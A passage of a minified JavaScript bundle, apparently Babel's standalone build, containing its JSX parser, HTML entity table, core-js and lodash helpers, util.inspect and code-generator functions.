",zwnj:"‌",zwj:"‍",lrm:"‎",rlm:"‏",ndash:"–",mdash:"—",lsquo:"‘",rsquo:"’",sbquo:"‚",ldquo:"“",rdquo:"”",bdquo:"„",dagger:"†",Dagger:"‡",bull:"•",hellip:"…",permil:"‰",prime:"′",Prime:"″",lsaquo:"‹",rsaquo:"›",oline:"‾",frasl:"⁄",euro:"€",image:"ℑ",weierp:"℘",real:"ℜ",trade:"™",alefsym:"ℵ",larr:"←",uarr:"↑",rarr:"→",darr:"↓",harr:"↔",crarr:"↵",lArr:"⇐",uArr:"⇑",rArr:"⇒",dArr:"⇓",hArr:"⇔",forall:"∀",part:"∂",exist:"∃",empty:"∅",nabla:"∇",isin:"∈",notin:"∉",ni:"∋",prod:"∏",sum:"∑",minus:"−",lowast:"∗",radic:"√",prop:"∝",infin:"∞",ang:"∠",and:"∧",or:"∨",cap:"∩",cup:"∪",int:"∫",there4:"∴",sim:"∼",cong:"≅",asymp:"≈",ne:"≠",equiv:"≡",le:"≤",ge:"≥",sub:"⊂",sup:"⊃",nsub:"⊄",sube:"⊆",supe:"⊇",oplus:"⊕",otimes:"⊗",perp:"⊥",sdot:"⋅",lceil:"⌈",rceil:"⌉",lfloor:"⌊",rfloor:"⌋",lang:"〈",rang:"〉",loz:"◊",spades:"♠",clubs:"♣",hearts:"♥",diams:"♦"},ye=/^[\da-fA-F]+$/,ve=/^\d+$/;U.j_oTag=new j("<tag",!1),U.j_cTag=new j("</tag",!1),U.j_expr=new j("<tag>...</tag>",!0,!0),R.jsxName=new T("jsxName"),R.jsxText=new T("jsxText",{beforeExpr:!0}),R.jsxTagStart=new T("jsxTagStart",{startsExpr:!0}),R.jsxTagEnd=new T("jsxTagEnd"),R.jsxTagStart.updateContext=function(){this.state.context.push(U.j_expr),this.state.context.push(U.j_oTag),this.state.exprAllowed=!1},R.jsxTagEnd.updateContext=function(e){var t=this.state.context.pop();t===U.j_oTag&&e===R.slash||t===U.j_cTag?(this.state.context.pop(),this.state.exprAllowed=this.curContext()===U.j_expr):this.state.exprAllowed=!0};var ge=J.prototype;ge.jsxReadToken=function(){for(var e="",t=this.state.pos;;){this.state.pos>=this.input.length&&this.raise(this.state.start,"Unterminated JSX contents");var r=this.input.charCodeAt(this.state.pos);switch(r){case 60:case 123:return this.state.pos===this.state.start?60===r&&this.state.exprAllowed?(++this.state.pos,this.finishToken(R.jsxTagStart)):this.getTokenFromCode(r):(e+=this.input.slice(t,this.state.pos),this.finishToken(R.jsxText,e));case 38:e+=this.input.slice(t,this.state.pos),e+=this.jsxReadEntity(),t=this.state.pos;break;default:o(r)?(e+=this.input.slice(t,this.state.pos),e+=this.jsxReadNewLine(!0),t=this.state.pos):++this.state.pos}}},ge.jsxReadNewLine=function(e){var t=this.input.charCodeAt(this.state.pos),r=void 0;return++this.state.pos,13===t&&10===this.input.charCodeAt(this.state.pos)?(++this.state.pos,r=e?"\n":"\r\n"):r=String.fromCharCode(t),++this.state.curLine,this.state.lineStart=this.state.pos,r},ge.jsxReadString=function(e){for(var t="",r=++this.state.pos;;){this.state.pos>=this.input.length&&this.raise(this.state.start,"Unterminated string constant");var n=this.input.charCodeAt(this.state.pos);if(n===e)break;38===n?(t+=this.input.slice(r,this.state.pos),t+=this.jsxReadEntity(),r=this.state.pos):o(n)?(t+=this.input.slice(r,this.state.pos),t+=this.jsxReadNewLine(!1),r=this.state.pos):++this.state.pos}return t+=this.input.slice(r,this.state.pos++),this.finishToken(R.string,t)},ge.jsxReadEntity=function(){for(var e="",t=0,r=void 0,n=this.input[this.state.pos],i=++this.state.pos;this.state.pos<this.input.length&&t++<10;){if(";"===(n=this.input[this.state.pos++])){"#"===e[0]?"x"===e[1]?(e=e.substr(2),ye.test(e)&&(r=he(parseInt(e,16)))):(e=e.substr(1),ve.test(e)&&(r=he(parseInt(e,10)))):r=me[e];break}e+=n}return r||(this.state.pos=i,"&")},ge.jsxReadWord=function(){var e=void 0,t=this.state.pos;do{e=this.input.charCodeAt(++this.state.pos)}while(s(e)||45===e);return this.finishToken(R.jsxName,this.input.slice(t,this.state.pos))},ge.jsxParseIdentifier=function(){var e=this.startNode();return this.match(R.jsxName)?e.name=this.state.value:this.state.type.keyword?e.name=this.state.type.keyword:this.unexpected(),this.next(),this.finishNode(e,"JSXIdentifier")},ge.jsxParseNamespacedName=function(){var e=this.state.start,t=this.state.startLoc,r=this.jsxParseIdentifier();if(!this.eat(R.colon))return r;var n=this.startNodeAt(e,t);return n.namespace=r,n.name=this.jsxParseIdentifier(),this.finishNode(n,"JSXNamespacedName")},ge.jsxParseElementName=function(){for(var e=this.state.start,t=this.state.startLoc,r=this.jsxParseNamespacedName();this.eat(R.dot);){var n=this.startNodeAt(e,t);n.object=r,n.property=this.jsxParseIdentifier(),r=this.finishNode(n,"JSXMemberExpression")}return r},ge.jsxParseAttributeValue=function(){var e=void 0;switch(this.state.type){case R.braceL:if(e=this.jsxParseExpressionContainer(),"JSXEmptyExpression"!==e.expression.type)return e;this.raise(e.start,"JSX attributes must only be assigned a non-empty expression");case R.jsxTagStart:case R.string:return e=this.parseExprAtom(),e.extra=null,e;default:this.raise(this.state.start,"JSX value should be either an expression or a quoted JSX text")}},ge.jsxParseEmptyExpression=function(){var e=this.startNodeAt(this.state.lastTokEnd,this.state.lastTokEndLoc);return this.finishNodeAt(e,"JSXEmptyExpression",this.state.start,this.state.startLoc)},ge.jsxParseSpreadChild=function(){var e=this.startNode();return this.expect(R.braceL),this.expect(R.ellipsis),e.expression=this.parseExpression(),this.expect(R.braceR),this.finishNode(e,"JSXSpreadChild")},ge.jsxParseExpressionContainer=function(){var e=this.startNode();return this.next(),this.match(R.braceR)?e.expression=this.jsxParseEmptyExpression():e.expression=this.parseExpression(),this.expect(R.braceR),this.finishNode(e,"JSXExpressionContainer")},ge.jsxParseAttribute=function(){var e=this.startNode();return this.eat(R.braceL)?(this.expect(R.ellipsis),e.argument=this.parseMaybeAssign(),this.expect(R.braceR),this.finishNode(e,"JSXSpreadAttribute")):(e.name=this.jsxParseNamespacedName(),e.value=this.eat(R.eq)?this.jsxParseAttributeValue():null,this.finishNode(e,"JSXAttribute"))},ge.jsxParseOpeningElementAt=function(e,t){var r=this.startNodeAt(e,t);for(r.attributes=[],r.name=this.jsxParseElementName();!this.match(R.slash)&&!this.match(R.jsxTagEnd);)r.attributes.push(this.jsxParseAttribute());return r.selfClosing=this.eat(R.slash),this.expect(R.jsxTagEnd),this.finishNode(r,"JSXOpeningElement")},ge.jsxParseClosingElementAt=function(e,t){var r=this.startNodeAt(e,t);return r.name=this.jsxParseElementName(),this.expect(R.jsxTagEnd),this.finishNode(r,"JSXClosingElement")},ge.jsxParseElementAt=function(e,t){var r=this.startNodeAt(e,t),n=[],i=this.jsxParseOpeningElementAt(e,t),s=null;if(!i.selfClosing){e:for(;;)switch(this.state.type){case R.jsxTagStart:if(e=this.state.start,t=this.state.startLoc,this.next(),this.eat(R.slash)){s=this.jsxParseClosingElementAt(e,t);break e}n.push(this.jsxParseElementAt(e,t));break;case R.jsxText:n.push(this.parseExprAtom());break;case R.braceL:this.lookahead().type===R.ellipsis?n.push(this.jsxParseSpreadChild()):n.push(this.jsxParseExpressionContainer());break;default:this.unexpected()}d(s.name)!==d(i.name)&&this.raise(s.start,"Expected corresponding JSX closing tag for <"+d(i.name)+">")}return r.openingElement=i,r.closingElement=s,r.children=n,this.match(R.relational)&&"<"===this.state.value&&this.raise(this.state.start,"Adjacent JSX elements must be wrapped in an enclosing tag"),this.finishNode(r,"JSXElement")},ge.jsxParseElement=function(){var e=this.state.start,t=this.state.startLoc;return this.next(),this.jsxParseElementAt(e,t)};var be=function(e){e.extend("parseExprAtom",function(e){return function(t){if(this.match(R.jsxText)){var r=this.parseLiteral(this.state.value,"JSXText");return r.extra=null,r}return this.match(R.jsxTagStart)?this.jsxParseElement():e.call(this,t)}}),e.extend("readToken",function(e){return function(t){if(this.state.inPropertyName)return e.call(this,t);var r=this.curContext();if(r===U.j_expr)return this.jsxReadToken();if(r===U.j_oTag||r===U.j_cTag){if(i(t))return this.jsxReadWord();if(62===t)return++this.state.pos,this.finishToken(R.jsxTagEnd);if((34===t||39===t)&&r===U.j_oTag)return this.jsxReadString(t)}return 60===t&&this.state.exprAllowed?(++this.state.pos,this.finishToken(R.jsxTagStart)):e.call(this,t)}}),e.extend("updateContext",function(e){return function(t){if(this.match(R.braceL)){var r=this.curContext();r===U.j_oTag?this.state.context.push(U.braceExpression):r===U.j_expr?this.state.context.push(U.templateQuasi):e.call(this,t),this.state.exprAllowed=!0}else{if(!this.match(R.slash)||t!==R.jsxTagStart)return e.call(this,t);this.state.context.length-=2,this.state.context.push(U.j_cTag),this.state.exprAllowed=!1}}})};K.estree=oe,K.flow=ce,K.jsx=be,t.parse=h,t.parseExpression=m,t.tokTypes=R},function(e,t,r){"use strict";var n=r(21),i=r(431),s=r(141),a=r(150)("IE_PROTO"),o=function(){},u=function(){var e,t=r(230)("iframe"),n=s.length;for(t.style.display="none",r(426).appendChild(t),t.src="javascript:",e=t.contentWindow.document,e.open(),e.write("<script>document.F=Object<\/script>"),e.close(),u=e.F;n--;)delete u.prototype[s[n]];return u()};e.exports=Object.create||function(e,t){var r;return null!==e?(o.prototype=n(e),r=new o,o.prototype=null,r[a]=e):r=u(),void 0===t?r:i(r,t)}},function(e,t){"use strict";t.f={}.propertyIsEnumerable},function(e,t){"use strict";e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,r){"use strict";var n=r(23).f,i=r(28),s=r(13)("toStringTag");e.exports=function(e,t,r){e&&!i(e=r?e:e.prototype,s)&&n(e,s,{configurable:!0,value:t})}},function(e,t,r){"use strict";var n=r(140);e.exports=function(e){return Object(n(e))}},function(e,t){"use strict";var r=0,n=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++r+n).toString(36))}},function(e,t){"use strict"},function(e,t,r){"use strict";!function(){t.ast=r(461),t.code=r(240),t.keyword=r(462)}()},function(e,t,r){"use strict";function n(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}var i=r(546),s=r(547),a=r(548),o=r(549),u=r(550);n.prototype.clear=i,n.prototype.delete=s,n.prototype.get=a,n.prototype.has=o,n.prototype.set=u,e.exports=n},function(e,t,r){"use strict";function n(e){var t=this.__data__=new i(e);this.size=t.size}var i=r(98),s=r(565),a=r(566),o=r(567),u=r(568),l=r(569);n.prototype.clear=s,n.prototype.delete=a,n.prototype.get=o,n.prototype.has=u,n.prototype.set=l,e.exports=n},function(e,t,r){"use strict";function n(e,t){for(var r=e.length;r--;)if(i(e[r][0],t))return r;return-1}var i=r(46);e.exports=n},function(e,t,r){"use strict";function n(e,t){return a(s(e,t,i),e+"")}var i=r(110),s=r(560),a=r(563);e.exports=n},function(e,t){"use strict";function r(e){return function(t){return e(t)}}e.exports=r},function(e,t,r){"use strict";function n(e){return i(function(t,r){var n=-1,i=r.length,a=i>1?r[i-1]:void 0,o=i>2?r[2]:void 0;for(a=e.length>3&&"function"==typeof a?(i--,a):void 0,o&&s(r[0],r[1],o)&&(a=i<3?void 0:a,i=1),t=Object(t);++n<i;){var u=r[n];u&&e(t,u,n,a)}return t})}var i=r(101),s=r(172);e.exports=n},function(e,t,r){"use strict";function n(e,t){var r=e.__data__;return i(t)?r["string"==typeof t?"string":"hash"]:r.map}var i=r(544);e.exports=n},function(e,t){"use strict";function r(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||n)}var n=Object.prototype;e.exports=r},function(e,t,r){"use strict";var n=r(38),i=n(Object,"create");e.exports=i},function(e,t){"use strict";function r(e){var t=-1,r=Array(e.size);return e.forEach(function(e){r[++t]=e}),r}e.exports=r},function(e,t,r){"use strict";function n(e){if("string"==typeof e||i(e))return e;var t=e+"";return"0"==t&&1/e==-s?"-0":t}var i=r(62),s=1/0;e.exports=n},function(e,t,r){"use strict";function n(e){return i(e,s)}var i=r(164),s=4;e.exports=n},function(e,t){"use strict";function r(e){return e}e.exports=r},function(e,t,r){"use strict";function n(e,t,r,n){e=s(e)?e:u(e),r=r&&!n?o(r):0;var c=e.length;return r<0&&(r=l(c+r,0)),a(e)?r<=c&&e.indexOf(t,r)>-1:!!c&&i(e,t,r)>-1}var i=r(166),s=r(24),a=r(587),o=r(48),u=r(280),l=Math.max;e.exports=n},function(e,t,r){"use strict";var n=r(493),i=r(25),s=Object.prototype,a=s.hasOwnProperty,o=s.propertyIsEnumerable,u=n(function(){return arguments}())?n:function(e){return i(e)&&a.call(e,"callee")&&!o.call(e,"callee")};e.exports=u},function(e,t,r){(function(e){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=r(17),s=r(596),a="object"==n(t)&&t&&!t.nodeType&&t,o=a&&"object"==n(e)&&e&&!e.nodeType&&e,u=o&&o.exports===a,l=u?i.Buffer:void 0,c=l?l.isBuffer:void 0,f=c||s;e.exports=f}).call(t,r(39)(e))},function(e,t,r){"use strict";function n(e){return null==e?"":i(e)}var i=r(253);e.exports=n},96,function(e,t,r){"use strict";function n(e){return o.memberExpression(o.identifier("regeneratorRuntime"),o.identifier(e),!1)}function i(e){return e.isReferenced()||e.parentPath.isAssignmentExpression({left:e.node})}function s(e,t){t?e.replaceWith(t):e.remove()}t.__esModule=!0,t.runtimeProperty=n,t.isReference=i,t.replaceWithOrRemove=s;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a)},function(e,t,r){(function(e,n){"use strict";function i(e,r){var n={seen:[],stylize:a};return arguments.length>=3&&(n.depth=arguments[2]),arguments.length>=4&&(n.colors=arguments[3]),m(r)?n.showHidden=r:r&&t._extend(n,r),x(n.showHidden)&&(n.showHidden=!1),x(n.depth)&&(n.depth=2),x(n.colors)&&(n.colors=!1),x(n.customInspect)&&(n.customInspect=!0),n.colors&&(n.stylize=s),u(n,e,n.depth)}function s(e,t){var r=i.styles[t];return r?"["+i.colors[r][0]+"m"+e+"["+i.colors[r][1]+"m":e}function a(e,t){return e}function o(e){var t={};return e.forEach(function(e,r){t[e]=!0}),t}function u(e,r,n){if(e.customInspect&&r&&C(r.inspect)&&r.inspect!==t.inspect&&(!r.constructor||r.constructor.prototype!==r)){var i=r.inspect(n,e);return b(i)||(i=u(e,i,n)),i}var s=l(e,r);if(s)return s;var a=Object.keys(r),m=o(a);if(e.showHidden&&(a=Object.getOwnPropertyNames(r)),D(r)&&(a.indexOf("message")>=0||a.indexOf("description")>=0))return c(r);if(0===a.length){if(C(r)){var y=r.name?": "+r.name:"";return e.stylize("[Function"+y+"]","special")}if(A(r))return e.stylize(RegExp.prototype.toString.call(r),"regexp");if(_(r))return e.stylize(Date.prototype.toString.call(r),"date");if(D(r))return c(r)}var v="",g=!1,E=["{","}"];if(h(r)&&(g=!0,E=["[","]"]),C(r)){v=" [Function"+(r.name?": "+r.name:"")+"]"}if(A(r)&&(v=" "+RegExp.prototype.toString.call(r)),_(r)&&(v=" "+Date.prototype.toUTCString.call(r)),D(r)&&(v=" "+c(r)),0===a.length&&(!g||0==r.length))return E[0]+v+E[1];if(n<0)return A(r)?e.stylize(RegExp.prototype.toString.call(r),"regexp"):e.stylize("[Object]","special");e.seen.push(r);var x;return x=g?f(e,r,n,m,a):a.map(function(t){return p(e,r,n,m,t,g)}),e.seen.pop(),d(x,v,E)}function l(e,t){if(x(t))return e.stylize("undefined","undefined");if(b(t)){var r="'"+JSON.stringify(t).replace(/^"|"$/g,"").replace(/'/g,"\\'").replace(/\\"/g,'"')+"'";return e.stylize(r,"string")}return g(t)?e.stylize(""+t,"number"):m(t)?e.stylize(""+t,"boolean"):y(t)?e.stylize("null","null"):void 0}function c(e){return"["+Error.prototype.toString.call(e)+"]"}function f(e,t,r,n,i){for(var s=[],a=0,o=t.length;a<o;++a)T(t,String(a))?s.push(p(e,t,r,n,String(a),!0)):s.push("");return i.forEach(function(i){i.match(/^\d+$/)||s.push(p(e,t,r,n,i,!0))}),s}function p(e,t,r,n,i,s){var a,o,l;if(l=Object.getOwnPropertyDescriptor(t,i)||{value:t[i]},l.get?o=l.set?e.stylize("[Getter/Setter]","special"):e.stylize("[Getter]","special"):l.set&&(o=e.stylize("[Setter]","special")),T(n,i)||(a="["+i+"]"),o||(e.seen.indexOf(l.value)<0?(o=y(r)?u(e,l.value,null):u(e,l.value,r-1),o.indexOf("\n")>-1&&(o=s?o.split("\n").map(function(e){return"  "+e}).join("\n").substr(2):"\n"+o.split("\n").map(function(e){return"   "+e}).join("\n"))):o=e.stylize("[Circular]","special")),x(a)){if(s&&i.match(/^\d+$/))return o;a=JSON.stringify(""+i),a.match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)?(a=a.substr(1,a.length-2),a=e.stylize(a,"name")):(a=a.replace(/'/g,"\\'").replace(/\\"/g,'"').replace(/(^"|"$)/g,"'"),a=e.stylize(a,"string"))}return a+": "+o}function d(e,t,r){var n=0;return e.reduce(function(e,t){return n++,t.indexOf("\n")>=0&&n++,e+t.replace(/\u001b\[\d\d?m/g,"").length+1},0)>60?r[0]+(""===t?"":t+"\n ")+" "+e.join(",\n  ")+" "+r[1]:r[0]+t+" "+e.join(", ")+" "+r[1]}function h(e){return Array.isArray(e)}function m(e){return"boolean"==typeof e}function y(e){return null===e}function v(e){return null==e}function g(e){return"number"==typeof e}function b(e){return"string"==typeof e}function E(e){return"symbol"===(void 0===e?"undefined":O(e))}function x(e){return void 0===e}function A(e){return S(e)&&"[object RegExp]"===P(e)}function S(e){return"object"===(void 0===e?"undefined":O(e))&&null!==e}function _(e){return S(e)&&"[object Date]"===P(e)}function D(e){return S(e)&&("[object Error]"===P(e)||e instanceof Error)}function C(e){return"function"==typeof e}function w(e){
return null===e||"boolean"==typeof e||"number"==typeof e||"string"==typeof e||"symbol"===(void 0===e?"undefined":O(e))||void 0===e}function P(e){return Object.prototype.toString.call(e)}function k(e){return e<10?"0"+e.toString(10):e.toString(10)}function F(){var e=new Date,t=[k(e.getHours()),k(e.getMinutes()),k(e.getSeconds())].join(":");return[e.getDate(),M[e.getMonth()],t].join(" ")}function T(e,t){return Object.prototype.hasOwnProperty.call(e,t)}var O="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},B=/%[sdj%]/g;t.format=function(e){if(!b(e)){for(var t=[],r=0;r<arguments.length;r++)t.push(i(arguments[r]));return t.join(" ")}for(var r=1,n=arguments,s=n.length,a=String(e).replace(B,function(e){if("%%"===e)return"%";if(r>=s)return e;switch(e){case"%s":return String(n[r++]);case"%d":return Number(n[r++]);case"%j":try{return JSON.stringify(n[r++])}catch(e){return"[Circular]"}default:return e}}),o=n[r];r<s;o=n[++r])y(o)||!S(o)?a+=" "+o:a+=" "+i(o);return a},t.deprecate=function(r,i){function s(){if(!a){if(n.throwDeprecation)throw new Error(i);n.traceDeprecation?console.trace(i):console.error(i),a=!0}return r.apply(this,arguments)}if(x(e.process))return function(){return t.deprecate(r,i).apply(this,arguments)};if(!0===n.noDeprecation)return r;var a=!1;return s};var R,I={};t.debuglog=function(e){if(x(R)&&(R=n.env.NODE_DEBUG||""),e=e.toUpperCase(),!I[e])if(new RegExp("\\b"+e+"\\b","i").test(R)){var r=n.pid;I[e]=function(){var n=t.format.apply(t,arguments);console.error("%s %d: %s",e,r,n)}}else I[e]=function(){};return I[e]},t.inspect=i,i.colors={bold:[1,22],italic:[3,23],underline:[4,24],inverse:[7,27],white:[37,39],grey:[90,39],black:[30,39],blue:[34,39],cyan:[36,39],green:[32,39],magenta:[35,39],red:[31,39],yellow:[33,39]},i.styles={special:"cyan",number:"yellow",boolean:"yellow",undefined:"grey",null:"bold",string:"green",date:"magenta",regexp:"red"},t.isArray=h,t.isBoolean=m,t.isNull=y,t.isNullOrUndefined=v,t.isNumber=g,t.isString=b,t.isSymbol=E,t.isUndefined=x,t.isRegExp=A,t.isObject=S,t.isDate=_,t.isError=D,t.isFunction=C,t.isPrimitive=w,t.isBuffer=r(627);var M=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];t.log=function(){console.log("%s - %s",F(),t.format.apply(t,arguments))},t.inherits=r(626),t._extend=function(e,t){if(!t||!S(t))return e;for(var r=Object.keys(t),n=r.length;n--;)e[r[n]]=t[r[n]];return e}}).call(t,function(){return this}(),r(8))},function(e,t,r){(function(n){"use strict";function i(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=r(11),a=i(s);t.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:n.cwd();if("object"===(void 0===u.default?"undefined":(0,a.default)(u.default)))return null;var r=f[t];if(!r){r=new u.default;var i=c.default.join(t,".babelrc");r.id=i,r.filename=i,r.paths=u.default._nodeModulePaths(t),f[t]=r}try{return u.default._resolveFilename(e,r)}catch(e){return null}};var o=r(115),u=i(o),l=r(19),c=i(l),f={};e.exports=t.default}).call(t,r(8))},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(133),s=n(i),a=r(3),o=n(a),u=r(42),l=n(u),c=r(41),f=n(c),p=function(e){function t(){(0,o.default)(this,t);var r=(0,l.default)(this,e.call(this));return r.dynamicData={},r}return(0,f.default)(t,e),t.prototype.setDynamic=function(e,t){this.dynamicData[e]=t},t.prototype.get=function(t){if(this.has(t))return e.prototype.get.call(this,t);if(Object.prototype.hasOwnProperty.call(this.dynamicData,t)){var r=this.dynamicData[t]();return this.set(t,r),r}},t}(s.default);t.default=p,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(239),o=n(a),u=(0,o.default)("babel:verbose"),l=(0,o.default)("babel"),c=[],f=function(){function e(t,r){(0,s.default)(this,e),this.filename=r,this.file=t}return e.prototype._buildMessage=function(e){var t="[BABEL] "+this.filename;return e&&(t+=": "+e),t},e.prototype.warn=function(e){console.warn(this._buildMessage(e))},e.prototype.error=function(e){throw new(arguments.length>1&&void 0!==arguments[1]?arguments[1]:Error)(this._buildMessage(e))},e.prototype.deprecate=function(e){this.file.opts&&this.file.opts.suppressDeprecationMessages||(e=this._buildMessage(e),c.indexOf(e)>=0||(c.push(e),console.error(e)))},e.prototype.verbose=function(e){u.enabled&&u(this._buildMessage(e))},e.prototype.debug=function(e){l.enabled&&l(this._buildMessage(e))},e.prototype.deopt=function(e,t){this.debug(t)},e}();t.default=f,e.exports=t.default},function(e,t,r){"use strict";function n(e,t){var r=e.node,n=r.source?r.source.value:null,i=t.metadata.modules.exports,s=e.get("declaration");if(s.isStatement()){var o=s.getBindingIdentifiers();for(var l in o)i.exported.push(l),i.specifiers.push({kind:"local",local:l,exported:e.isExportDefaultDeclaration()?"default":l})}if(e.isExportNamedDeclaration()&&r.specifiers)for(var c=r.specifiers,f=Array.isArray(c),p=0,c=f?c:(0,a.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d,m=h.exported.name;i.exported.push(m),u.isExportDefaultSpecifier(h)&&i.specifiers.push({kind:"external",local:m,exported:m,source:n}),u.isExportNamespaceSpecifier(h)&&i.specifiers.push({kind:"external-namespace",exported:m,source:n});var y=h.local;y&&(n&&i.specifiers.push({kind:"external",local:y.name,exported:m,source:n}),n||i.specifiers.push({kind:"local",local:y.name,exported:m}))}e.isExportAllDeclaration()&&i.specifiers.push({kind:"external-all",source:n})}function i(e){e.skip()}t.__esModule=!0,t.ImportDeclaration=t.ModuleDeclaration=void 0;var s=r(2),a=function(e){return e&&e.__esModule?e:{default:e}}(s);t.ExportDeclaration=n,t.Scope=i;var o=r(1),u=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(o);t.ModuleDeclaration={enter:function(e,t){var r=e.node;r.source&&(r.source.value=t.resolveModuleSource(r.source.value))}},t.ImportDeclaration={exit:function(e,t){var r=e.node,n=[],i=[];t.metadata.modules.imports.push({source:r.source.value,imported:i,specifiers:n});for(var s=e.get("specifiers"),o=Array.isArray(s),u=0,s=o?s:(0,a.default)(s);;){var l;if(o){if(u>=s.length)break;l=s[u++]}else{if(u=s.next(),u.done)break;l=u.value}var c=l,f=c.node.local.name;if(c.isImportDefaultSpecifier()&&(i.push("default"),n.push({kind:"named",imported:"default",local:f})),c.isImportSpecifier()){var p=c.node.imported.name;i.push(p),n.push({kind:"named",imported:p,local:f})}c.isImportNamespaceSpecifier()&&(i.push("*"),n.push({kind:"namespace",local:f}))}}}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t){var r=t||i.EXTENSIONS,n=D.default.extname(e);return(0,x.default)(r,n)}function s(e){return e?Array.isArray(e)?e:"string"==typeof e?e.split(","):[e]:[]}function a(e){if(!e)return new RegExp(/.^/);if(Array.isArray(e)&&(e=new RegExp(e.map(m.default).join("|"),"i")),"string"==typeof e){e=(0,w.default)(e),((0,v.default)(e,"./")||(0,v.default)(e,"*/"))&&(e=e.slice(2)),(0,v.default)(e,"**/")&&(e=e.slice(3));var t=b.default.makeRe(e,{nocase:!0});return new RegExp(t.source.slice(1,-1),"i")}if((0,S.default)(e))return e;throw new TypeError("illegal type for regexify")}function o(e,t){return e?"boolean"==typeof e?o([e],t):"string"==typeof e?o(s(e),t):Array.isArray(e)?(t&&(e=e.map(t)),e):[e]:[]}function u(e){return"true"===e||1==e||!("false"===e||0==e||!e)&&e}function l(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],r=arguments[2];if(e=e.replace(/\\/g,"/"),r){for(var n=r,i=Array.isArray(n),s=0,n=i?n:(0,p.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}if(c(a,e))return!1}return!0}if(t.length)for(var o=t,u=Array.isArray(o),l=0,o=u?o:(0,p.default)(o);;){var f;if(u){if(l>=o.length)break;f=o[l++]}else{if(l=o.next(),l.done)break;f=l.value}var d=f;if(c(d,e))return!0}return!1}function c(e,t){return"function"==typeof e?e(t):e.test(t)}t.__esModule=!0,t.inspect=t.inherits=void 0;var f=r(2),p=n(f),d=r(117);Object.defineProperty(t,"inherits",{enumerable:!0,get:function(){return d.inherits}}),Object.defineProperty(t,"inspect",{enumerable:!0,get:function(){return d.inspect}}),t.canCompile=i,t.list=s,t.regexify=a,t.arrayify=o,t.booleanify=u,t.shouldIgnore=l;var h=r(577),m=n(h),y=r(595),v=n(y),g=r(601),b=n(g),E=r(111),x=n(E),A=r(276),S=n(A),_=r(19),D=n(_),C=r(284),w=n(C);i.EXTENSIONS=[".js",".jsx",".es6",".es"]},function(e,t,r){"use strict";function n(e){e.variance&&("plus"===e.variance?this.token("+"):"minus"===e.variance&&this.token("-")),this.word(e.name)}function i(e){this.token("..."),this.print(e.argument,e)}function s(e){var t=e.properties;this.token("{"),this.printInnerComments(e),t.length&&(this.space(),this.printList(t,e,{indent:!0,statement:!0}),this.space()),this.token("}")}function a(e){this.printJoin(e.decorators,e),this._method(e)}function o(e){if(this.printJoin(e.decorators,e),e.computed)this.token("["),this.print(e.key,e),this.token("]");else{if(m.isAssignmentPattern(e.value)&&m.isIdentifier(e.key)&&e.key.name===e.value.left.name)return void this.print(e.value,e);if(this.print(e.key,e),e.shorthand&&m.isIdentifier(e.key)&&m.isIdentifier(e.value)&&e.key.name===e.value.name)return}this.token(":"),this.space(),this.print(e.value,e)}function u(e){var t=e.elements,r=t.length;this.token("["),this.printInnerComments(e);for(var n=0;n<t.length;n++){var i=t[n];i?(n>0&&this.space(),this.print(i,e),n<r-1&&this.token(",")):this.token(",")}this.token("]")}function l(e){this.word("/"+e.pattern+"/"+e.flags)}function c(e){this.word(e.value?"true":"false")}function f(){this.word("null")}function p(e){var t=this.getPossibleRaw(e),r=e.value+"";null==t?this.number(r):this.format.minified?this.number(t.length<r.length?t:r):this.number(t)}function d(e,t){var r=this.getPossibleRaw(e);if(!this.format.minified&&null!=r)return void this.token(r);var n={quotes:m.isJSX(t)?"double":this.format.quotes,wrap:!0};this.format.jsonCompatibleStrings&&(n.json=!0);var i=(0,v.default)(e.value,n);return this.token(i)}t.__esModule=!0,t.ArrayPattern=t.ObjectPattern=t.RestProperty=t.SpreadProperty=t.SpreadElement=void 0,t.Identifier=n,t.RestElement=i,t.ObjectExpression=s,t.ObjectMethod=a,t.ObjectProperty=o,t.ArrayExpression=u,t.RegExpLiteral=l,t.BooleanLiteral=c,t.NullLiteral=f,t.NumericLiteral=p,t.StringLiteral=d;var h=r(1),m=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(h),y=r(469),v=function(e){return e&&e.__esModule?e:{default:e}}(y);t.SpreadElement=i,t.SpreadProperty=i,t.RestProperty=i,t.ObjectPattern=s,t.ArrayPattern=u},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t){var r=e.node,n=r.body;r.async=!1;var i=f.functionExpression(null,[],f.blockStatement(n.body),!0);i.shadow=!0,n.body=[f.returnStatement(f.callExpression(f.callExpression(t,[i]),[]))],r.generator=!1}function 